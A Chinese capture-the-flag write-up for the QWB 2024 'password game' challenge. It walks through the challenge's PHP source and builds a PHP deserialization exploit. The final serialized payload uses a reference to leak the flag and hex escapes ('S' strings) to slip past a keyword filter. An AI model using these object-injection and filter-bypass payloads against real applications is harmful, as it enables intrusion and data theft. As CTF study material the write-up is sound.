proxy那题是队友写的我就不记录了,不知道他后面会不会更新:https://blog.hayneschen.top/
主要想记录password game这题 不听php课的每个人都会受到应有的惩罚
前面的游戏过程很简单,直接从拿到源码开始看
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST['password']));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}
比赛的时候乍一看感觉挺懵的,和传统的反序化掉用都不太一样,这里先不管反序化时的filter,先来看一下类
按照我的习惯,先找终点然后再逆推到入口,很明显这里的终点有两个可能,一个是guest下的_call触发后可以直接拿到flag,另一个是想办法拿到root下在_get触发后被赋值后的$value。这里先来想一想第一个终点有没有触发的可能
第一种可能
触发条件是要通过这个if,控制username是可以的,但看了一下其他类发现能拿md5($GLOBALS[“flag”])的只有user下的_invoke。但这里要想触发invoke好像找不到什么合适的地方,因此第一种可能在到儿就断掉了,换一种
第二种可能
主要目的就是要把root中的value带出来,输出的地方可以在user的__destruct里进行。而要满足这里的if可以直接给root赋值,赋值完再构造一个test值用来存放new user,new user的username再用来存放这个value。也就是说,第二种可能其实都不需要用到guest类。exp如下
$obj = new root();
$obj -> username = 'admin';
$obj -> value = '2024qwb';
$obj -> test = new user();
$obj -> test -> username = &$obj -> value;
echo serialize($obj);
//O:4:"root":3:{s:8:"username";s:5:"admin";s:5:"value";s:7:"2024qwb";s:4:"test";O:4:"user":2:{s:8:"username";R:3;s:8:"password";N;}}
//最终payload: O:4:"root":3:{s:8:"username";S:5:"\61dmin";s:5:"value";S:7:"202\34qwb";s:4:"test";O:4:"user":2:{s:8:"username";R:3;s:8:"password";N;}}
这里再说三个很细节的地方。
**首先**是类似\61
这样的16进制解析,只要把原本的s
改为S
,就能在反序化时被当作16进制进行解析。就能绕过filter的过滤
**其次**是&
这个符号。之前写反序化没用到过,这次看了其他人exp学习了一下。其实就是和C语言里差不多一样的指针,看下面这个例子
$a=2
$b=&$a
$a=$a+2
echo $b;//输出4
因此exp中使用到这个符号的目的就是为了捕捉root中value被赋值flag后的值,最后才能输出flag而不是'2024qwb'
而在生成的exp中,也可以发现反序化后的数据里有个很少见的类型码“R
”,其实就是使用&
动态调用变量的意思。具体为什么可以看这篇
**最后**是guest里__tostring中的$value();
。它和$this->value();
是两个完全不同并且八杆子打不着边的东西,这里的$value读取的是__tostring函数里的变量,而$this->value
才会读取类中的public $value;
。而__tostring并没有给这个变量赋值,因此是执行不了的